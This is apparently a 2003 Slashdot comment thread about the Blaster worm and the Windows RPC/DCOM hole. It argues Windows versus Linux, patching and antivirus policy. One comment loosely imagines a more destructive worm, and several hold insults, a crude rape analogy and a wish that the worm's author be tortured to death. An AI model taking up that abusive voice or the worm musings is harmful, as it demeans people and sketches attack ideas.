Yes, and if you want to stop rape, women shouldn't grow tits, take baths, wear make-up, dance, etc ... Back to burkas for them cause God forbid they tempt men.

It's philosophies like this that perpetuate the problem and put the onus on the victim, rather than pressing to stop the agressor. Don't blame people for using MicroSoft, many of which have no choice. Blame Microsoft for not being more secure with their systems ... or in this case, for not being more forthcoming with the damage that this hole could cause. Even though they put the patch out, I know my parents had no idea. But, most of all, blame the fscker that made the worm. I hope the catch him in some 3rd world country where they can torture him to death by letting flesh burrowing worms slowly eat him from the inside out.

As to If you don't want this kind of rubbish, don't use Microsoft. comment, I've yet to find a good Architectural and/or Land Development CADD program for Mac or Linux. Nor Noise simulation modules, Motorola propegation simulators, Hydrology simulations, or many more of the specialized software we use for buidling design, airport/runway design, emergancy system management, wireless design, air quality analysis, or any of the other stuff we do at my company. One thing we do not do is software development, so if you want us to switch, start coding reasonable alternatives (in cost, ease, production, and output).

-Ab

Re:People should start taking note

[bninja_penguin]

I think you mean a very poor choice for Kenja. When will you understand that?
Windows is a very poor choice for bninja_penguin (who spends ten hours a day fixing other people's Windows machines) and his wife (who is a very typical user, i.e., the internet, solitare, and papers for school).

So, for a summary:
Kenja==Windows user
bninja_penguin==Linux user

And I say, so what?? Some people like riding a bus everywhere they have to go, others of us like to cruise around in Ferraris.

Re:People should start taking note

[Kenja]

You have it wrong.

Most people = Windows Users.
Kenja = Geek with Windows, SGI, Solaris and Linux boxes.

However, Kenja can see the limitations of Linux and not worry about them. Most /. users seem unable to come to terms with the fact that Linux is a poor choice for most people. Countless times I've been attacked for not using Linux for a task Linux cannot perform.

Re:People should start taking note

[Cat_Byte]

Please go research this and retract your statements. If you think Autocad is the only product that will not run on a *nix platform you are sadly misinformed.

Re:People should start taking note

[bninja_penguin]

so if you want us to switch, start coding reasonable alternatives (in cost, ease, production, and output).

I'm working on that, I just don't have a whole lot of free time between working full-time, and going to school full-time. No, Autocad isn't willing to pay me to develop for anything but Windows, and I don't work for them any way, so, just be patient. Stuff that is in the areas you mentioned is being worked on, with most projects still BETA, or v.1 or v.2, and Autocad is like v.Methusela (been around a long time.) Just wait though, Linux programs are coming like a far off freight train, and when they get here, nothing's gonna measure up to 'em.

Re:People should start taking note

[Anonymous Coward]

did you miss the whole part about electricity? retard.

Re:People should start taking note

[bninja_penguin]

Countless times I've been attacked for not using Linux for a task Linux cannot perform.

I can understand that; lots of people who need a hammer, but only have a wrench, will use the wrench as a (rather poor) hammer. I must only have need of the proverbial wrench, while you have need of the wrench, hammer, and screwdriver!

Re:People should start taking note

[rokzy]

agreed.

plus I like your sig. "boxen" isn't as bad a "utilize", but it's from the same school of idiocy.

Re:People should start taking note

[Anonymous Coward]

I'm willing to bet Kenja can't name one thing that Kenja couldn't do with Linux that Kenja needs to do. Kenja is just full of shit and inexperienced.

Re:People should start taking note

[IM6100]

It was all listed up there earlier in the thread:

I've yet to find a good Architectural and/or Land Development CADD program for Mac or Linux. Nor Noise simulation modules, Motorola propegation simulators, Hydrology simulations, or many more of the specialized software we use for buidling design, airport/runway design, emergancy system management, wireless design, air quality analysis, or any of the other stuff we do at my company.

There isn't a heck of a lot of good engineering design software for Linux. There never will be in the form of Open Source. It's software that costs $2-30,000 per seat. You know, software for grownups, not dilletantes who browse the web and 'admin' common commodity tasks like web servers. We can't all just sell stuff and/or present it for sale. Somebody has to design it.

Re:People should start taking note

[minus9]

Yes obviously Linux will be solely used by hobbyists until there are more Motorola propegation simulators, it makes much more sense now.

Re:People should start taking note

[dash2]

90% of the world don't run autocad, but 90% of computer users probably do run at least one specialist program for which there is not an open source replacement with equivalent functionality. Open source has great programming languages, great databases, a great webserver; fine web browsers,email programs, text editors and other general purpose stuff; two excellent desktop environments; fine IDEs; but music programs, artistic applications and so forth are not yet at the level of their closed source replacements. Nor can you get a CD at the newsagent, plug it into Linux and be sure it will run.

The solution? We should all donate to WINE. When Windows programs run without problems on Linux, we'll have full interoperability and be ready to take the world over.

Re:People should start taking note

[Anonymous Coward]

Right. This person did them a favour.

Normally, if you could write a virus, would it be one that:
1- Deletes user's data
2- Annoys user
3- Silently gives backdoor access to user's system

Any smart person would choose [3]. The person who wrote the virus just proved that [3] is possible and very possibly already inside your Windows (TM) Operating System.

Also, some people mention patches. What if the system was affected before the responsible sysadmin applied the patch, and the virus made sure that the patch will not be *really* applied.
What if then?

Re:People should start taking note

[isorox]

Whats a dilettante? You dont mean dilettantes do you? Perhaps you should stop dabbling in the field on English.

Re:People should start taking note

[Stiletto]

Don't apologise for stupid users either.

The current Windows virus problem boils down to three parties, equally at fault: The virus writer for writing the virus, the users for running the virus, and Microsoft for allowing viruses to be possible in the first place.

Don't try to paint users as helpless victims, as many of them are complete idiots and doing their best to make the problem worse.

Re:People should start taking note

[Amorpheus_MMS]

If you don't want this kind of rubbish, keep the system updated. That goes for any operating system, and MS even makes it easy.

This will be a lesson to qute a few people.

Re:People should start taking note

[Xenophon Fenderson,]

If the plural for "ox" is "oxen", then the plural for "box" must be "boxen", and every true geek knows that the plural for "VAX" is "VAXen". LOL

Re:People should start taking note

[MS_leases_my_soul]

Who are we kidding?!? The only reason Linux is not under the same virii attacks as Windows is a matter of numbers -- you get more "kills" for the effort on Windows. If Linux was the most popular operating system, people would attack it.

The problem is a user problem as much as it is a technology problem. Firewalls are great, but if you don't use one, they do you little good. Every single user needs to be held accountable for their machine. You need to run patches. You need to have a firewall. You need to lockdown unused ports, etc.

If someone drove around a car with no brakes, we would hold them accountable for the injuries they caused. It should be no different with computers and virii.

It is only a matter of time before cyberterrorism moves beyond pranks, crude hacks and immature political statements and moves into the realm of real damage.

Imagine a worm that looked for email addresses and actually had a working attachment payload to do the infection (it really showed a naked tennis star as it infected your system). Imagine a virus that looked for any SQL database it could see and tried to login in with 'SA' and no password. Imagine if it randomly transposed digits for every numeric field for a random number of records. Imagine if it infected NT services like Anti-virus, IIS, etc. Imagine if it moved slow enough not to be noticed (only 1 scan a second?) and was able to be triggered for a coordinated DDOS attack remotely.

Yeah, brute force port scans with buffer overruns and cute little messages might look scary, but this is the pipebomb when the ability to release the anthrax is out there.

Re:People should start taking note

[A.Gideon]

Yes, and if you want to stop rape, women shouldn't grow tits, take baths, wear make-up, dance, etc ... Back to burkas for them cause God forbid they tempt men.


An overly extreme example, but that's fine.

I see it very differently. The "don't use MSFT" analog to stopping rape involves learning karate, carrying mace, having a decent legal system, properly funding police services, etc. In other words: proactive protection. Of course, educating people that it's a Bad Thing applies to both cases.

Your example would be more along the lines of "disconnect from the Internet".

With respect to your applications, have you spoken with these vendors? Have you suggested that they make their products available for decent platforms? Perhaps they've received this request from just one too few people for them to make the leap, and you'd be the one to cause the trigger to be pulled.

Re:People should start taking note

[Chanc_Gorkon]

Shame. If you had spent the time updating the workstations and servers your responsible for, you'd not be getting your ass kicked now. I mean the patch was issued almost a month ago!

Re:People should start taking note

[Flopper]

A shot into our own knees. Less linux programs would be developed as the windows programs are there to do the job.

Re:People should start taking note

[wwest4]

1) Piss off.

2) Despite the fact that I own the "No, I will not fix your computer" shirt, I do have friends, neighbors and coworkers who got the worm and needed my help. Research, explanations, downloading patches, writing broadcast emails, and a few individual fixes cost me a day. And patching all of my servers didn't prevent it!!

3) In case you haven't caught on - NONE of my work or home machines were affected because they were either already patched or sufficiently hardened so that the vulnerability was already neutralized.

Nice try.

Re:People should start taking note

[autocracy]

...Except the vulnerability was out long before the worm... Bugtraq doesn't like repeat postings as much as /. does. I wouldn't be suprised if the author was 13 or 30... well, maybe 15 or 30...

Re:People should start taking note

[wwest4]

i don't see the term "script-kiddie" as indicative of chronological age.

posting a 'sploit after announcement of the vulnerability wouldn't be a repeat post.

Re:People should start taking note

[Chanc_Gorkon]

First, don't fix your friends computers. I support no computer that I have not built, bought or reccomended. I won't fix friends computers. This is what PConcall and other businesses are for. I have a life and I have friends....friends who don't take advantage of my to fix every computer related issue they come across.

Second, You said: "And patching all of my servers didn't prevent it!!" and then said "NONE of my work or home machines were affected because they were either already patched or sufficiently hardened so that the vulnerability was already neutralized.". If all of your stuff was patched and it was not stopped, then you missed something there hmm?

Am I supposed to feel sorry for you because you ran your ass ragged? I mean I am so sorry that it happened, but I don't feel for ya bud! YOU are the one who "volunteered" to fix friends computers. Again, I have limits. My priority when I am not at work is spending time with my family. I do have other things, but family thigns come first and family things don't mean hey would you come and fix the virus on my computer. Me friends and family have an understanding about this. I am so sorry yours do not. Oh and I was nto affected and I was patched and I never saw the thing. Personally, I think the thing is being way overblown on the news. I mean how many OTHER days have computers gone down but it wasn't a worm that did it but it was idiocy? How come that does not make the news?

Re:People should start taking note

[wwest4]

> First, don't fix your friends computers

I help out my friends - that's part of my definition of friendship. You can do whatever you want. My personal ethical obligations don't need to conform to your ideals.

> If all of your stuff was patched and it was not stopped, then you missed something there hmm?

Bad antecedent - I meant that patching my stuff at work didn't prevent the impact on home users that rely on me. The point is that a worm creates extra (unproductive) work, and SOMEONE ends up doing it, and that's annoyingly inefficient.

> Am I supposed to feel sorry for you because you ran your ass ragged?

No - what nuance of "piss off" don't you understand? Your individual sympathy is not required, and your advice is unsolicited as well.

If you're trying to argue that writing and releasing worms into the wild is OK given that everyone is responsible for their own defense, then I would put forth that we are lucky that society is not based on such unforgivingly selfish axioms. Dystopic "road warrior"-like living is not desirable in my book. But hey, maybe I'm nutty.

Re:People should start taking note

[Anonymous Cow herd]

No, in this case, learning karate, carrying mace, having a decent legal system etc... would be like learning how to *use* Windows software, and patching it regularly, and installing a firewall. Switching to Linux would be like locking yourself into your home and convincing yourself that you didn't need anything from the outside world anyways. :-)

Re:People should start taking note

[dash2]

This argument is analogous to protectionism in economics. If the Windows programs are free and good, then they add value to Linux. If not, then Linux programs will replace them. Either way, Linux users don't lose; and the Linux community will gain by making it possible to use existing software on their machine, thus allowing Windows users to move over, expanding the user base and giving more consumers the chance to use Linux programs.

The point of Linux is to be better for computer users. If it's just an employment program for software developers, then we shouldn't bother.

Re:People should start taking note

[Anonymous Coward]

Not trying to argue that it's ok to write those stupid worms. I am all about saving work not increasing it. You must be younger then I because I USED to help people out. And then I realized I was doing everything that they should be learning how to do on their own. Things like saving a e-mail attachment (or even acessing it!). I will help in complicated issues, but screw me showing them how to copy a file 500 times. Screw me fixing their computer because they were running out of drive space and they got delete happy on a directory they should have not deleted anything out of. Also, screw them who don't update their own machines via the given Windows Update software. This virus was defendable by a patch and I guess if asked, I would help out if anyone I know was affected. But I only ever do this once. After that they are SOL. I like HELPING my friends but when they ask me to do lots of little things that they are capable of learning (using Word for example), then heck with em. I like to help thouse who like to help themselves. Not those who take advantage of me.

I glad you corrected that earlier item. So I am sorry you were affected. I might add, you were only affected because you WANTED to be. If you don't want to be affected by these, then don't help your friends out. Also, don't bitch about what you yourself have put yourself into mmkay?

Re:People should start taking note

[wwest4]

> This virus was defendable by a patch and I
> guess if asked, I would help out if anyone I
> know was affected. But I only ever do this
> once. After that they are SOL.

that is an interesting viewpoint.

why don't fire fighters and rescue workers have this attitude? by your logic (which is quite correct), they'd have so much more time with their families, and some of them would even have lived longer. do you think they are taken advantage of? if so, why do they continue in their professions?

> I might add, you were only affected because you > WANTED to be. If you don't want to be affected
> by these, then don't help your friends out.
> Also, don't bitch about what you yourself have
> put yourself into mmkay?

Not quite, unless you subscribe to a pedestrian notion of choice. Consider these statements:

-I MUST want to help.
-Causality and choice are in mutual flux.

Understood correctly, it becomes pretty unclear what the "cause" is. It simply becomes a matter of morals, or efficiency. Pick one, or both.

Following, in either case:

-Helping people is good/efficient
-Disrupting society is bad/inefficient

Re:People should start taking note

[Kenja]

A murder of crows.
A pack of dogs.
A gaggle of geeks.

Re:People should start taking note

[bheerssen]

The solution? We should all donate to WINE.

I would, but I'm heavily invested in BEER, which does not play nice with WINE.

Re:People should start taking note

[s4m7]

What a bunch of crap. Linux has over 100+ text editors, several Native DBMS systems, about 20 different media players.. How about some consolidation? who will accomplish this? I think there needs to be a standardization arm of linux to cover the parts that AREN'T in the kernel but ARE considered, in general, part of the OS.

This would work great if trying to choose between any given two cmdline text editors, (say vi and emacs) didn't reduce any developer's mailing list into a namecalling flame war.

"Ideas are better than beliefs because they can be changed." -Rufus, the 13th Apostle.

Re:People should start taking note

[Anonymous Coward]

"Don't apologise for stupid users either."

Spending too much time in the UK, are we?

Re:People should start taking note

[SCHecklerX]

Ever hear of OS/2? It's excellent windoze application support is part of what killed it. The last thing you should want is great windoze compatibility on linux. Why would a company then write a better app for linux, one which takes advantage of the strengths of linux?

Want to see the code?

[westyvw]

DSL reports has a security forum that has been taking this sucker apart and giving us the code:

have a look:

http://www.dslreports.com/forum/remark,7649146~r oo t=security,1~mode=flat

Re:Want to see the code?

[rbullo]

You promised us source, bitch! Now deliver!
:D

Re:Want to see the code?

[westyvw]

My bad :
Here is the forum that matters:

http://www.dslreports.com/forum/remark,7652257~r oo t=security,1~m

Re:Want to see the code?

[Durin_Deathless]

Your url gagged on me, so here is the one that worked for me:
http://www.dslreports.com/forum/remark,765225 7~roo t=security,1~mode=flat

Re:Want to see the code?

[Anonymous Coward]

Hah, most of the computers at my university are infected now and you cant use the clipboard in windows (makes going to that address a pain).

How about making things like that actual links in future?

Re:Want to see the code?

[westyvw]

I am glad you found it. Sorry about the confusion.
I was really trying to help, not hinder. I hope this clears things up.

BY the WAY: Dont call me BITCH again. I might start liking it.

Re:Want to see the code?

[nacturation]

At least learn to use HTML for easy clickability. Create your link like this:

<a href="http://www.dslreports.com/forum/remark,76522 57~root=security,1~mode=flat">link to the article</a>

Which will come out like this:

link to the article

Re:Want to see the code?

[Anonymous Coward]

Very interesting, I read this at Microsoft Security Bulletin MS03-026 that I found through your link.

RPC provides an inter-process communication mechanism that allows a program running on one computer to seamlessly execute code on a remote system. The protocol itself is derived from the Open Software Foundation (OSF) RPC protocol, but with the addition of some Microsoft specific extensions.

and

There is a vulnerability in the part of RPC that deals with message exchange over TCP/IP. The failure results because of incorrect handling of malformed messages. This particular vulnerability affects a Distributed Component Object Model (DCOM) interface with RPC

So basically, if they had respected the original RPC spec provided by the Open Software Foundation this wouldn't have happened, AFAIK DCOM isn't part of RPC but rather just one of those infamous Microsoft specific extensions.

Re:Want to see the code?

[Flopper]

Are you one of the people who can't use copy&paste to copy a link into the location bar of your personal browser? ;)
There are people out there prefering plain text (:

Re:Want to see the code?

[cdrudge]

But it's easier when the poster takes the extra 10 seconds to wrap a around his link. The slashcode also adds in an extra space that usually has to be removed. Not a huge deal, but a mildly annoying inconvienence.

Re:Want to see the code?

[//violentmac]

Yeah, because if you can't learn programming you're not wanted on shitdot.

Re:Want to see the code?

[Mr. McGibby]

Perhaps slashcode could actually add it for you?

Re:Want to see the code?

[nacturation]

Writing HTML isn't *programming*, it's *markup*. It's about as much programming as writing a check is and knowing where to put the number, the number spelled out, the payee, date, and signature.

Re:Want to see the code?

[//violentmac]

Shove it up your ass karmawhore! why don't you get a real job instead of posting on /. all the time

very unpopular three-letter govnt agency...

[Anonymous Coward]

..has been hit too.

This isn't all MS's fault

[bersl2]

You would think that somebody at the MTA would know about the patch, but no.

You still need a competent person to maintain the machines, no matter what software you go with.

Re:This isn't all MS's fault

[Anonymous Coward]

Except from "The Rime of the Neophyte Slashdotter"

Mod points, mod points, everywhere,
Nor any one for me.

Best news all day

[raider_red]

Bringing down the DMV may be the best use anyone's ever found for a virus.

Re: Best news all day

[Black Parrot]

> Bringing down the DMV may be the best use anyone's ever found for a virus.

Yeah, everyone's always complaining that the lines aren't slow enough already.

Re:Best news all day

[Anonymous Coward]

The question is, will anyone even notice?

Re:Best news all day

[jr87]

yeah I was there yesterday(day before hacking) after waiting four and a half hours to actualy see somebody to exchange my license plates you kinda start to wish these things happen more often

Re:Best news all day

[Antitorgo]

Which way to the nearest farmer's market?

*watches karma plummet*

Re: Best news all day

[stefanlasiewski]

If the DMV computers crashed and all services came screeching to a halt, would the people waiting in line even notice?

Re: Best news all day

[Gherald]

If the DMV computers crashed and all services came screeching to a halt, would the people waiting in line even notice?

You bet they would notice. Asuming PC boot times were decent, being limited to 60 seconds a person would speed things up greatly ;)

We Got Hit

[Snoopy77]

We discovered we got hit when our Sonicwall connections hit the limit every 10 minutes. It took us two tries to clean it all up.

And who was it who brought it into the office? The CEO. He thought he had a virus but connected to the network anyway. Mod that funny if you will but try being part of our network support team.

Re: We Got Hit

[Black Parrot]

> And who was it who brought it into the office? The CEO. He thought he had a virus but connected to the network anyway. Mod that funny if you will but try being part of our network support team.

You sound annoyed... did you draw the short stick for who gets to tell him?

Re:We Got Hit

[Kenja]

I keep 13 inches of sharp folded steel in a glass case above my desk with a sign that reads "break in the event of user error". I never have those kind of problems.

Re:We Got Hit

[PetoskeyGuy]

Preaching to the choir.

I remember the Klez virus kept infecting our system. I put antivirus on all the machines and wiped and cleaned them several times. Still my boss had his computer go down several times and started to suggest I was incompetent.

Turns out he got a fake email on his AOL account with the virus attached from a potential client who he has been trying to sell to for a long time. He loaded the virus from his laptop and ignored and disabled the antivirus warnings desperately trying to see what this guy was sending him. For those that don't know, Klez emails itself to any email addresses it can find.

Problem finally solved. I was not mention this matter to anyone else. Yeah Right. :)

Re:We Got Hit

[Snoopy77]

Problem finally solved. I was not to mention this matter to anyone else.

That's okay, you haven't mentioned it to just anyone, you've mentioned it to everyone!

Re:We Got Hit

[Kris_J]

I've got a Nerf gun I want to put in a glass-fronted case labelled "In case of stupid, break glass". The other thing I thought would be funny for an IT guy would be an abacus or slide rule in a similar box with the standard "in case of emergency" label.

Re:We Got Hit

[larien]

ignored and disabled the antivirus warnings

Ah, there's your problem; you let users disable AV software. AV software should be mandatory and it should immediately and automatically clean and/or quarantine all suspicious files without allowing anything less than and administrator to override it. Make it part of company IT policy and wave it in front of anyone who complains.

Like it or not, Windows systems need a solid antivirus policy in place; even if you filter at the firewall/mail gateway/web proxy, viruses will still find a way into your network.

Re:We Got Hit

[lxs]

...with the virus attached from a potential client who he has been trying to sell to for a long time.

That is one way to tell pushy marketers to leave you alone :-)

Re:We Got Hit

[Quarters]

You must get all the chicks at parties.

Re:We Got Hit

[DrRiffic]

antivirus is/was useless against the rpc exploit vuln, and relying on av scanners is a false sense of security. you are only as secure as the latest definition update.

besides, there are variant worms that are spreading as we speak that symantic/mcafee haven't even discovered yet.

Re:We Got Hit

[larien]

Once the virus signature updates are in place, it should at least detect the msblast.exe file & flag it up.

Yes, AV isn't the be-all and end-all of protecting against attack, but it is a necessary part.

Re:We Got Hit

[Chanc_Gorkon]

Not to mention the fact that they should also be patched! Workstations ALWAYS get the short shrift yet how many times have they themselves been responsible for taking out the network? Automatic updating for servers are a no no but for workstations, they should be mandatory! If your a lazy admin and your sure none of your stuff will break from the autoupdater, go ahead and let them update the OS for you too. At least it would have been done!

Re:We Got Hit

[Anonymous Coward]

after a system-level root compromise it would be a wise idea to not trust a single binary on the system, rather you should format your drive and restore from clean media.

Re:We Got Hit

[Mozai]

We solved that problem a long time ago.

Our CEO uses a Macintosh. The engineers all run Linux on our desks.

When the CEO got infected email and kept opening the attachments, he beamed with pride: "well, it was a good idea of me to be using a Macintosh, isn't it?" I was stunned, and left his office without saying a word.

Re:We Got Hit

[JimBobJoe]

It seems to me that just about any place I've ever worked that had a similar policy had a lot more problems than those without. Every AV software I've seen has some odd, random complication with particular programs. (That's usually the problem I've encountered. I still can't get my AV software and Eudora to get along, and I don't consider that an unusual program.)

AV software saves lives, but it's such a bitch to use. I liken it to a doctor following you around all day...yes you stay in good shape, and he'll detect an infection pretty quickly, but with considerable annoyance and negative productivity.

Re:We Got Hit

[Anonymous Coward]

Whipping your policy out and slamming it on the CEO's desk may not be a career prolonging move.

Re:We Got Hit

[c13v3rm0nk3y]

AV software should be mandatory and it should immediately and automatically clean and/or quarantine all suspicious files without allowing anything less than and administrator to override it.

I generally agree, except that some users must be able to disable real-time scanning. Anyone who works with computers in any technical capacity (R&D, QA, Technical Support, etc.) must sometimes be allowed to disable these types of services for all kinds of reasons.

The fact is that none of the currently available network virus scanners are 100% guaranteed not to interfere with other apps, or cause problems with installs.

Our IT group locks down the global virus scanning stuff for a subset of our employees. Other folks (who are assumed to be more clueful) can disable the service when trying to isolate a problem, or to install a new app to use/test/integrate with/investigate. If someone who is supposed to know better allows something bad to slip through, then so be it. Before we had system-wide guards setup, I once managed to loose an old Microsoft "scrapfile" worm I found on a network drive upon our world (it had logic to copy itself to any SMB drive it could find, apparently, and it was missed during a cleanup). The sudden increase of disk and network activity prompted me to pull the network cable. This is probably the biggest difference between users like me, and "users" as sometimes referred to by IT.

One must balance security with convenience; total security means near-zero convenience. In that case, we should all go back to typewritten memos, snailmail and spiral-bound notebooks.

Re:We Got Hit

[Firefly1]

So? If it's company policy, (s)he likely signed off on it, and should be aware of the consequences of violating it.

Windows rules.....

[scottp]

Good ole, trustworthy, reliable, secure, best OS, Winblows.....how can it still remain on 90%+ of PC's? That should be on unsolved mysteries.....

Re:Windows rules.....

[Azadre]

Mainly because a large majority of computer users aren't /. material. Face it, people want ease of use, even at the cost of an inferior product.

Re:Windows rules.....

[lightcycle]

How is it then I can type
emerge -u world
And in a short (or maybe not too short) while have a completely up to date and patched linux system? (Yes, I run gentoo. All the other distros have similar ways of updating the system)
Apparently the ease of use in Windows you talk about doesn't extend as far as easily providing users with a secure system.

Re:Windows rules.....

[westlake]

How is it that I as a "clueless" XP home user can simply sit back and enjoy all this fuss while my auto-patched and software firewalled Dell chugs merrily along while taking hundreds of hits to Port 135?

Re:Windows rules.....

[IM6100]

It must have something to do with you having a hell of a lot of bandwidth available to download all that stuff over and over and over again with each x.x.x.01 revision. That won't scale very well to the whole world.

Re:Windows rules.....

[Azadre]

Guess what, windows has an AUTOMATIC update feature.

Re:Windows rules.....

[IpalindromeI]

So does Linux. It's called cron. You just put your system update command in to run once a day or every few days and you're set. Ta da!

Plus, you don't have to worry about what other info the automatic update is telling Microsoft about your computer, like usage habits or how many illegal MP3s you have.

Thanks, Microsoft!

[imag0]

Looks like viruses like this may help speed adoption on alternate operating systems (like linux, OSX, et. al) on the desktop quicker than a dozen ESR's with geek infantry in tow.

Spoke with both sides of the family this evening, going on about how messed up their computers were acting and all they had to go through to get it patched up. I listened and informed them how well my iBook and the relative merits of UN*X and they listened...

Thanks again, Bill!

Re:Thanks, Microsoft!

[Anonymous Coward]

Do you honestly think that Windows would be the target of an attack like this if Linux held 90% of the desktops out there?

Linux has it's own fair share of exploits, except they're not used by script kiddies because there is no glory.

Re:Thanks, Microsoft!

[Juanvaldes]

and how many switched after Code Red? ILoveYou? the countless others? Those who got inffected either had someone take care of it or just reinstalled the system. This is what they are trained to do and expect it with computers.

Re:Thanks, Microsoft!

[kpansky]

I switched after I caught a bad case of Chernobyl (the bad one w32.cihb).

Re:Thanks, Microsoft!

[bfree]

The point is not what OS would be the target if Linux held 90% of the desktops, it is what would be the target if the OS market looked like:

1. Windows 9x: 10%
2. Windows XP: 20%
3. Mac OS 9: 5%
4. Mac OS X: 10%
5. Red Hat: 15%
6. SuSE: 15%
7. Debian: 5%
8. Mandrake: 10%
9. *BSD: 5%
10. Others: 5%

What would people target? Probably IOS until it suffered the same fate and saw it's dominance split. Then anyone wanting to wreak havoc would have to accept the fact that they can't or do some amazing things to find cross platform targets (i.e. common flaws in java runtimes or multi-platform binaries). You wouldn't even really be able to target the Linux 45% I have above very well as each system would have it's own software versions and policies which would make finding common exploits very difficult. Diversity is key here!

Re:Thanks, Microsoft!

[molarmass192]

Tack on platform optimizations and compiler options and the success rate would drop even further in a "source code included" world.

Re:Thanks, Microsoft!

[The Old Burke]

Mac OS 9: 5%
Mac OS X: 10%

Apple with 15% market share?
I think you are dreaming, Apple zealot.

Re:Thanks, Microsoft!

[peripatetic_bum]

Actually, For everyone who thinks this is good thing for linux, think again.

What if Microsoft says "See what happens when we don't control everyone's access to computers. THIS IS WHY WE NEEDS TRUSTED COMPUTING!"

And *poof" there goes Open Source.

I would like to hear what you all think.
Thanks for reading.

Re:Thanks, Microsoft!

[bfree]

So Linux with a 45% share (or bsd with a 5% share) is just fine by you but a 15% apple share makes me an Apple zealot? No, I'm just trying to outline any sort of a diverse set of OS conditions. I could have put in the Amiga OS, QNX, BeIA, OpenBeos, AIX, Solaris and anything else you could think of to make the list even longer but for the sake of not scrolling down to far on the screen I stuck to a small but (hopefully) big enough list to get the idea I wanted to express (diversity) across.

Re:Thanks, Microsoft!

[ddavis539]

This is exactly what sparked my interest in linux 4 years ago. A nasty virus went through the company I worked for, corrupting all windows systems and making my java development environment unusable. Most of our development team had to spend a few days re-installing windows, the development programs, database, etc... There was one team member who used Linux and he was completely unaffected. Instead of re-installing windows 2000 on my laptop, I put Linux on it instead. I was pleasantly surprised at how easy it was to rebuild a Java development environment and Oracle test database within Linux. Over the past couple years, I've gradually phased in Linux at home as well. My kids prefer Linux to Windows now, using it exclusively except when they want to play a game that we can't get to work with Wine or Winex. (Zoo Tycoon or Age of Mythology, both MS games) I have no regrets at all about making this switch, which is was basically prompted by a virus.

Re:Thanks, Microsoft!

[IM6100]

That day will never come. Enough of us are of an age to remember the days when there were fifteen different PC platforms out there and the huge splintered market for commercial software that resulted.

It's trouble enough for retailers to sell both Mac and PC games. Do you really think shrinkwrapped boxes are going to contain the seven CDs necessary to have the app run on 15 seperate OSes?

Yeah, everything will be distributed as source code. Uh-huh. People will like that.

Re:Thanks, Microsoft!

[Anonymous Coward]

Actually, if everything was source codes, ./configure, make, make install would work on almost all platforms except... Microsoft's!

Re:Thanks, Microsoft!

[impluvian]

It's a good point. There are sufficient users of Windows who don't seem to make the connection between Windows vulnerabilities and Microsoft: that is, they feel threatened/upset/whatever by the virus, but then the next computer they buy is still running Windows!
This is why Microsoft's trusted computing has the potential to do exactly what you suggest. If a no-brainer user reads Microsoft PR nonsense about how safe their computer will be with Palladium, they'll buy it, without considering the fact that Microsoft are also the people who've been leaving holes in their systems for years.

Re:Thanks, Microsoft!

[GrenDel Fuego]

There's just one slight problem with this theory. Too many of them run the same exact software.

For example, a few months ago there was a named resolver bug. Another bug like that would most likely have affected Redhat, SuSE, Debian, Mandrake, *BSD, probably OS X, and most likely some of your "others".

Perhaps the different update methods would have helped though.

Re:Thanks, Microsoft!

[bfree]

No I don't believe that shrinkwrapped boxes will contain a huge multitude of CDs, I believe that commercial software will become more and more specialised as time moves on. Now if someone is creating a game (you mention games and it's an easy example) they will look to the market and decide what platforms are worth targetting. Then they will see what technologies/methods can be applied across those platforms. Then they will examine how many of the non-targetted platforms they can get to without having to do any major extra work. Finally they will write the game so that the program is a recompile away from each targetted and achievable platform. Taking my example figures, you would probably find that games developers (assuming market usage of the OSs is spread evenly across the spectrum) would target Linux (and probably a specific set of major library versions which can be found across the main derivatives), Windows XP and Mac OS X and as a by product they would probably try to have a BSD version aswell. End result the box would have 4 installers and binaries (the game data being shared across all platforms). As they are trying to work within the system (and not to circumvent any security) the differences between the various Linux distros would not leave them needing to write seperate versions for each distro. Finally, the smart ones would actually construct the game so that the main core logic of the game is binary only, the game data (graphics, levels, whatever) in binary only and the rest (graphics sub-systems, input system) would be binary and source (or at least be exposed so that someone could port the game onto any platform that can run the core logic).

bwahaha

[Anonymous Coward]

Woo hoo! Maybe they'll think more about the systems they run. Same old story, same systems. I'm turning my pager off this week, since I'm on vacation. Besides, I'm the 'nix guy... :)

A good arguement for...

[green pizza]

... Windows Update once every couple weeks.

I know there'll be dozens of "they shouldda been using un*x" posts, but in defense of Windows, there has been a patch for this on Windows Update since July 16. Even I had enough time to test the patch on a non-production system between then and now. Every platform gets its 'sploits throughout its lifetime, it's just a matter of learning about them and applying the proper patches in a resonable amount of time... especially on mission-critical machines. (DMV computers, etc...)

Re:A good arguement for...

[MeanMF]

I know there'll be dozens of "they shouldda been using un*x" posts, but in defense of Windows, there has been a patch for this on Windows Update since July 16. Even I had enough time to test the patch on a non-production system between then and now. Every platform gets its 'sploits throughout its lifetime, it's just a matter of learning about them and applying the proper patches in a resonable amount of time... especially on mission-critical machines. (DMV computers, etc...)

Yeah, but it's not like the Department of Homeland Security put out a notice telling people they should install the patch. Oh wait, yes they did. Maybe that's why a group of us worked late on Friday 8/1 making sure the patch was installed on all of our servers and workstations.

Re: A good arguement for...

[Black Parrot]

> I know there'll be dozens of "they shouldda been using un*x" posts, but in defense of Windows, there has been a patch for this on Windows Update since July 16.

IOW, "they shouldda been using... sysadmins".

I wish I had a long-term plot of how many minutes/year the prime time news spends telling people to apply security patches and update their anti-virus database. I wonder if this will eventually become a regular segment, like the weather, sports, traffic, etc.

Re:A good arguement for...

[thomas.galvin]

Which has only been labled 'critical' very recently, and, as far as I can tell, isn't on the suggested list of patches when Windows Update runs. I spent a good part of last night putting together a web page for my friends telling them what was wrong and how to fix it.

The fact is, quite simply, that they should have been running a *nix. It amazes me how much MS can get away with; debit cards weren't working at the local Price Chopper today because of this, some guy posted that at least one ATM in the UK was down, which suggests that a lot more followed suit, the DMV, the IRS, etc, etc. Yes, the people responsible for this virus are to blame, and yes, the people that left their boxes exposed and flapping in the breeze are to blame, but the Windows culture also has a big part to play in it. Need a computer? Toss up a windows box, and you're all set.

I think a big part of it is just that people expect Unix administration ot be tough, and hire someone competent, whereas the Windows boxes get Joe MSCE.

Re:A good arguement for...

[bricriu]

According to the DSLReports thread posted/linked above, people who were up to date with their Windows Update or had Windows Auto-Update on still got hit. :-/

Re:A good arguement for...

[Kris_J]

Screw Windows Update, I, luckily, started testing Shavlik's HFNetChkLT for patch deployment about 12 hours before the worm started. Very nice. Has problems deploying Service Packs (particularly Office), but does patches perfectly. Either way, it will let an administrator of a corporate network check every member of the domain for patches from a single point and that point doesn't even have to be a server. My laptop has been deploying patches pretty solidly for the last day and a bit.

Re:A good arguement for...

[teslatug]

